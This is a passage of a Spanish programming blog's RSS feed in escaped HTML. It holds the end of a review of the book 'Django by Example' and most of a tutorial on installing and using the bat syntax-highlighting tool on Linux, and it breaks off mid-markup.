explicarán los procesadores de contexto, el uso y configuración de &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://docs.celeryproject.org/en/stable/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;celery&lt;/a&gt;&#xA; (usando &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.rabbitmq.com/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;RabbitMQ&lt;/a&gt;&#xA; como broker) para las tareas asíncronas, la API de Paypal, la exportación de archivos de hojas de calculo, la generación dinámica de pdf para los pedidos usando &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://weasyprint.org/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;weasyprint&lt;/a&gt;&#xA; y la traducción entre lenguajes usando el sistema integrado de Django. Asi mismo se usará Redis para crear un motor de recomendación de productos bastante simple pero efectivo, no esperes quitarle el trono ni amazon ni a google.&lt;/p&gt;&#xA;&lt;h2 id=&#34;plataforma-de-aprendizaje-en-linea&#34;&gt;Plataforma de aprendizaje en linea&lt;/h2&gt;&#xA;&lt;p&gt;Para el último proyecto se creará una plataforma de aprendizaje en linea usando un CMS. Este capítulo toca temas un poco más avanzados de Django tales como uso de modelos abstractos, proxies y herencia multi tabla y campos personalizados para los modelos. El autor explicará en los últimos capítulos las vistas genéricas y paquetes como &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://django-braces.readthedocs.io/en/latest/index.html&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;django-braces&lt;/a&gt;&#xA;, que se encargan de reducir aún más la cantidad de código a escribir. Es genial que el autor también implemente un sistema de cache usando &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://memcached.org/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;memcached&lt;/a&gt;&#xA;. Y para finalizar el proyecto se usará &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.django-rest-framework.org/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Django Rest Framework&lt;/a&gt;&#xA; para poner los contenidos del sitio web a disposición del público.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Tras este último proyecto Django by example termina. Pero, a modo de bonus ofrece un capítulo extra, donde se verá el uso de middleware y el despliegue de la aplicación usando nginx y uwsgi.&lt;/p&gt;&#xA;&lt;h2 id=&#34;mi-opinion&#34;&gt;Mi opinión&lt;/h2&gt;&#xA;&lt;p&gt;Este libro ofrece una aproximación pragmática, aprendes mientras creas proyectos, paso a paso, un enfoque mucho más ameno que leer la documentación. Además este enfoque probablemente será más parecido a lo que se enfrenta un desarrollador cuando quiere lanzar un sitio web.&lt;/p&gt;&#xA;&lt;p&gt;Aquí viene lo malo: el libro usa Jquery para todos sus ejemplos que requieran javascript. Pero no me malentiendas, no es que odie Jquery, lo que pasa es que &lt;strong&gt;muchas de sus funcionalidades ya han sido emuladas con Javascript nativo&lt;/strong&gt;. Por lo anterior Jquery pierde popularidad entre los desarrolladores cada día que pasa (casi como PHP). Y, para rematar, los ejemplos usan AJAX para hacer las peticiones web en lugar del más moderno fetch.&lt;/p&gt;&#xA;&lt;p&gt;Dejando de lado las carencias del contenido en cuanto a javascript, Django by example cubre por completo todo lo que Django tiene para ofrecer, yendo desde lo más básico hasta lo más complejo.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Edito:&lt;/strong&gt; Estoy viendo que hay una versión nueva del libro e incluye &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://channels.readthedocs.io/en/latest/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Django Channels&lt;/a&gt;&#xA; para el manejo de websockets, sin embargo aún implementa Jquery para sus ejemplos.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Conocimientos previos recomendados:&lt;/strong&gt; HTML, Python y Javascript básico&lt;br&gt;&#xA;&lt;strong&gt;Recomendado para leerlo:&lt;/strong&gt; 7/10&lt;br&gt;&#xA;&lt;strong&gt;Idiomas:&lt;/strong&gt; Inglés&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Lee otras de mis reseñas sobre libros de Django aquí:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/el-mejor-libro-de-django-resena-de-two-scoops-of-django/&#34;&gt;Mi reseña de Two scoops of Django&lt;/a&gt;&#xA;, enfocado en buenas prácticas, por si ya has hecho proyectos con Django.&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/resena-de-django-for-professionals/&#34;&gt;Mi review de Django for professionals&lt;/a&gt;&#xA;, parte desde cero pero incluye Docker como parte del desarrollo.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Este libro planea enseñarte Django mediante la creación desde cero de cuatro proyectos. Django by Example parte creando un blog, luego una red social, una tienda en linea y al final una plataforma de aprendizaje. Cada proyecto es desarrollado prácticamente desde cero y utiliza algunas librerías para complementar las funciones.&lt;/p&gt;&#xA;&lt;p&gt;Si no conoces las ventajas y desventajas que ofrece Django, visita mi entrada donde te explico algunas &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/por-que-deberias-usar-django-framework/&#34;&gt;ventajas y desventajas del framework Django de desarrollo web.&lt;/a&gt;&#xA;&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Conoce bat en linux, el cat con resaltado de sintaxis</title>
      <link>https://coffeebytes.dev/es/linux/conoce-bat-en-linux-el-cat-con-resaltado-de-sintaxis/</link>
      <pubDate>Tue, 25 Aug 2020 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/linux/conoce-bat-en-linux-el-cat-con-resaltado-de-sintaxis/</guid>
      
      <category>linux</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;El otro día estaba buscando herramientas de resaltado de sintaxis y me topé con una herramienta bastante interesante llamada &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/sharkdp/bat&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;bat&lt;/a&gt;&#xA; (Sí, como murciélago en inglés), es básicamente el comando &lt;em&gt;cat&lt;/em&gt; de linux, pero con colores y otras funciones bastante interesantes. Y, como cereza del pastel, &lt;strong&gt;está programado en Rust.&lt;/strong&gt; En esta entrada te explico de forma corta como funciona y que es lo que puede hacer por ti.&lt;/p&gt;&#xA;&lt;h2 id=&#34;instalar-bat-desde-los-repositorios-en-linux&#34;&gt;Instalar bat desde los repositorios en linux&lt;/h2&gt;&#xA;&lt;p&gt;Puedes instalarlo directo desde los repositorios en las versiones más nuevas de Debian o sistemas derivados (Ubuntu).&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo apt install bat&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Como mi versión de Debian no es la más reciente tuve que instalarlo desde &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/sharkdp/bat/releases&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;su version de paquete de software con terminacion .deb&lt;/a&gt;&#xA;. Recuerda que si tienes problemas con los comandos de GNU/Linux entra a leer mis entradas donde te hago un resumen de los &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/linux/comandos-basicos-de-linux-grep-ls-cd-history-cat-cp-rm-scp/&#34;&gt;comandos más básicos de GNU Linux&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wget https://github.com/sharkdp/bat/releases/download/v0.15.4/bat-musl_0.15.4_amd64.deb&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;dpkg -i bat-musl_0.15.4_amd64.deb&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;para-que-sirve-bat&#34;&gt;¿Para qué sirve bat?&lt;/h2&gt;&#xA;&lt;p&gt;&lt;em&gt;Bat&lt;/em&gt; nos va a mostrar el contenido de un archivo, justo como &lt;em&gt;cat&lt;/em&gt;, pero con la sintaxis resaltada para la mayoría de los lenguajes de programación:&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Cat&lt;/em&gt;, la herramienta predeterminada nos muestra el archivo que le indiquemos pero en un solo color.&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;cat index.js&#xA;import React from &amp;#34;react&amp;#34;&#xA;import ReactDOM from &amp;#34;react-dom&amp;#34;&#xA;import App from &amp;#34;./App&amp;#34;&#xA;&#xA;ReactDOM.render(&amp;lt;App/&amp;gt;, document.getElementById(&amp;#39;root&amp;#39;))&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Si ahora usamos &lt;em&gt;bat&lt;/em&gt; veremos la sintaxis del lenguaje resaltada y los números de linea en la salida estándar:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;bat index.js&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;//File: index.js&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; React from &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;react&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; ReactDOM from &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;react-dom&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; App from &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;./App&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ReactDOM.render(&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;App&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&amp;gt;&lt;/span&gt;, &lt;span style=&#34;color:#ff5c57&#34;&gt;document&lt;/span&gt;.getElementById(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;root&amp;#39;&lt;/span&gt;))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Puede resaltar los tabuladores, los espacios y los saltos de linea usando la opción &lt;em&gt;-A&lt;/em&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-css&#34; data-lang=&#34;css&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;bat&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;-A&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;index&lt;/span&gt;.&lt;span style=&#34;color:#f3f99d&#34;&gt;css&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;/*index.css*/&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;body&lt;/span&gt;{&lt;span style=&#34;color:#ff5c57&#34;&gt;␊&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;••&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;margin&lt;/span&gt;: &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;;&lt;span style=&#34;color:#ff5c57&#34;&gt;␊&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;••&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;background-color&lt;/span&gt;: &lt;span style=&#34;color:#ff6ac1&#34;&gt;whitesmoke&lt;/span&gt;;&lt;span style=&#34;color:#ff5c57&#34;&gt;␊&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;••&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;font-family&lt;/span&gt;: Lolita;&lt;span style=&#34;color:#ff5c57&#34;&gt;␊&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;••&lt;/span&gt;font-color: &lt;span style=&#34;color:#ff9f43&#34;&gt;#bbb&lt;/span&gt;;&lt;span style=&#34;color:#ff5c57&#34;&gt;␊&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#ff5c57&#34;&gt;␊&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;␊&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;.&lt;span style=&#34;color:#f3f99d&#34;&gt;checkBoxes&lt;/span&gt;{&lt;span style=&#34;color:#ff5c57&#34;&gt;␊&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;••&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;font-size&lt;/span&gt;: &lt;span style=&#34;color:#ff9f43&#34;&gt;20&lt;/span&gt;&lt;span style=&#34;color:#9aedfe&#34;&gt;px&lt;/span&gt;;&lt;span style=&#34;color:#ff5c57&#34;&gt;␊&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;••&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;padding&lt;/span&gt;: &lt;span style=&#34;color:#ff9f43&#34;&gt;10&lt;/span&gt;&lt;span style=&#34;color:#9aedfe&#34;&gt;px&lt;/span&gt;;&lt;span style=&#34;color:#ff5c57&#34;&gt;␊&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;bat-tiene-muchos-temas-disponibles&#34;&gt;Bat tiene muchos temas disponibles&lt;/h2&gt;&#xA;&lt;p&gt;Bat tiene temas para todos los gustos, hippies, sobrios, formales, psicodélicos, etc. Usa &lt;em&gt;--list-themes&lt;/em&gt; para verlos.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;bat &lt;span style=&#34;color:#ff6ac1&#34;&gt;--&lt;/span&gt;list&lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;themes&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Theme&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; Monokai Extended&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#78787e&#34;&gt;// Output the square of a number.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;  fn print_square(num&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; f64) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#ff5c57&#34;&gt;let&lt;/span&gt; result &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; f64&lt;span style=&#34;color:#ff6ac1&#34;&gt;::&lt;/span&gt;powf(num, &lt;span style=&#34;color:#ff9f43&#34;&gt;2.0&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      println&lt;span style=&#34;color:#ff6ac1&#34;&gt;!&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;The square of {:.2} is {:.2}.&amp;#34;&lt;/span&gt;, num, result);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si te gusta un tema en particular puedes usarlo de manera temporal para visualizar un archivo usando la opción &lt;em&gt;--theme&lt;/em&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;bat --theme&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;Monokai Extended&amp;#39;&lt;/span&gt; index.css&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Para cargarlo permanentemente debes agregarlo a tu archivo &lt;em&gt;.bash_rc&lt;/em&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ~/.bashrc&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;export&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;BAT_THEME&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Monokai Extended&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;bat-viene-con-un-paginador-automatico&#34;&gt;Bat viene con un paginador automático&lt;/h2&gt;&#xA;&lt;p&gt;Esto significa que si el archivo es muy grande, no lo mostrará completo, sino que mostrará una parte y podremos ir avanzando por el contenido con las flechas en nuestro teclado. El paginador que usa por defecto es &lt;em&gt;less&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# This file is autogenerated by pip-compile&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# To update, run:&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#    pip-compile --output-file requirements.txt requirements.in&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span 